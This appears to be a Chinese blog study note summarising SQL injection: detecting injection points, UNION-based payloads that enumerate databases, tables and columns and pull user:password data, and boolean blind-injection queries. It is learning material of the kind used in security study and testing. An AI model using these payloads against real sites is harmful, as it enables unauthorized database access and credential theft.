#笔记(十六)#SQL注入(再整理)

基础流程

  • 判断注入点
    • and1=1/and 1=2回显页面不同
    • 常用注释符--/* .... */#.;%00\
    • -1/+1回显下一个或上一个页面
    • +在url中有特殊含义,需要对其进行URL编码%2b
  • 判断数字型or字符型
    • 数字型不需要引号闭合
    • 数字:select * from table where id=1
    • 字符:select * from table where username=‘admin’
  • 不同分类进行注入
    • 可联合查询注入
    • 报错型注入
    • 基于布尔型注入
    • 基于时间延迟注入
    • 盲注
  • 常用信息及语句
    在这里插入图片描述
  • 常用流程
    1. 判断类型
    2. 查询列数
    3. 爆库
    4. 爆表
    5. 爆字段
    6. 获取字段中数据

UNION注入

  • 猜字段长度
    • order by
    • 举例:id=1 order by 2正常,id=1 order by 3错误,字段为2
  • 爆字段位置
    • 1 and 1=2 UNION SELECT 1,2
    • id=-1 UNION SELECT 1,2,3#
  • 爆库
    • id=1' union select 1,2,database()#
    • id=1' union select 1,2,(select schema_name from information_schema.schemata limit 0,1)#
  • 爆表
    • ?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 爆列
    • ?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' #
  • 查询数据
  • 1’ union select 1,concat(user,":",password) from 表名#

关于报错

  • 尝试数组报错
  • 报错注入:

盲注

  • 盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
  • 一些函数
    • if(condition,a,b)
      • 当condition为true的时候,返回a,当condition为false的时候,返回b。
    • ascii(str)
      • 返回值为其最左侧字符的ascii码。
    • substr(str,start,len)
      • 通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
    • length(str)
      • 获取str的长度的
      • 得知需要通过substr取到哪个下标。
    • count([column])
      • 用来统计记录的数量的
      • 主要用于判断符合条件的记录的数量,并逐个破解。
  • 例如:
    • id=1' and (select length(database())>1) and '1'='1
    • id=1' and ((select ascii(substr(database(),1,1)))>32) and '1'='1

补充

  • update
  • insert

参考博客

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值